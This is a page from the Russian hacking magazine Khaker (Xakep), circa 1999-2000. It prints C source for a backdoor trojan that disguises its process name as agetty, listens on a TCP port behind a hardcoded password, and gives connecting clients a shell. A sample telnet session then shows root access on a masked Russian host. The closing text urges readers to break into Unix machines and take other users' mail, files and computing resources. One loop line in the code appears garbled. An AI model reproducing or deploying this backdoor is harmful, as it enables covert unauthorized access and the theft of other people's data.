ЖУРНАЛ ХАКЕР

Рубрика: Юниксоид

Xakep Online -> Журнал, номер #008, стр. 008-034-6


#define YES 1

#define NO 0

int main(int argc, char *argv[]);

#ifdef PASSAUTH

int login(int EffDee);

#endif

int main(int argc, char *argv[])

{

int sockfd, newfd, size;

struct sockaddr_in local;

struct sockaddr_in remote;

strcpy(argv[0], "/sbin/agetty 38400 tty7 linux"); /* имя процесса */

signal(SIGCHLD, SIG_IGN);

bzero(&local, sizeof(local));

local.sin_family = AF_INET;

local.sin_port = htons(PORT);

local.sin_addr.s_addr = INADDR_ANY;

bzero(&(local.sin_zero), 8);

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

perror("socket");

exit(1);

}

if(bind(sockfd, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)

{

perror("bind");

exit(1);

}

if(listen(sockfd, 5) == -1)

{

perror("listen");

exit(1);

}

size = sizeof(struct sockaddr_in);

while(1)

{

if((newfd=accept(sockfd, (struct sockaddr *)&remote, &size)) == -1)

{

perror("accept");

exit(1);

}

if(!fork())

{

send(newfd, MSG, sizeof(MSG), 0); /* посылаем приветствие */

#ifdef PASSAUTH

if(login(newfd) != 1)

{

send(newfd, "You dont have access!\n", 23, 0); /* сообщение, если пароль неправильно введен */

close(newfd);

exit(1);

}

#endif

close(0); close(1); close(2);

dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2);

execl(SHELL, SHELL, (char *)0); close(newfd); exit(0);

}

close(newfd);

}

return(0);

}

#ifdef PASSAUTH

int login(int EffDee)

{

char u_passwd[15];

int i;

send(EffDee, "satan:", 6,0); /* строка запроса пароля */

recv(EffDee, u_passwd, sizeof(u_passwd), 0);

for(i=0;i

{

if(u_passwd[i] == '\n' || u_passwd[i] == '\r')

u_passwd[i] = '\0';

}

if(strcmp(PASSWD, u_passwd) == 0)

return(YES);

else

return(NO);

}

#endif

---------- Конец трояна :) ----------

В данном случае программа открывает 5051 порт с паролем satan666.

hax0r# telnet www.****.ru 5051

Connected to www.*****.ru

Escape character is '^]'.

welcome home

satan:satan666

id

uid=0(root) gid=0(root) groups=0(root)

А зачем нам нужен этот юникс? На фига его ломать?

Unix системами можно управлять удаленно, используя практически все ее ресурсы, поэтому, получив полный доступ к юникс машине, ты получаешь не только почту всех ее других пользователей, их файлы, доступ к www страницам, но и имеешь в своем распоряжении сам компьютер и можешь его использовать в своих нуждах. Все быстродействие компа, вся их выделенка могут теперь работать на тебя.

А вот это надо почитать:

www.insecure.org/nmap

www.rootshell.com

www.securityfocus.com

www.technotronic.com

www.hackersclub.com/km

qwerty.nanko.ru

Назад на стр. 008-034-5  Содержание

-282.2-
журнал колонка редактора взлом защита от дурака западлостроение
железо софт ос юмор порно халява форумы линки

 

Copyright Gameland Publishing 1999-2000 ©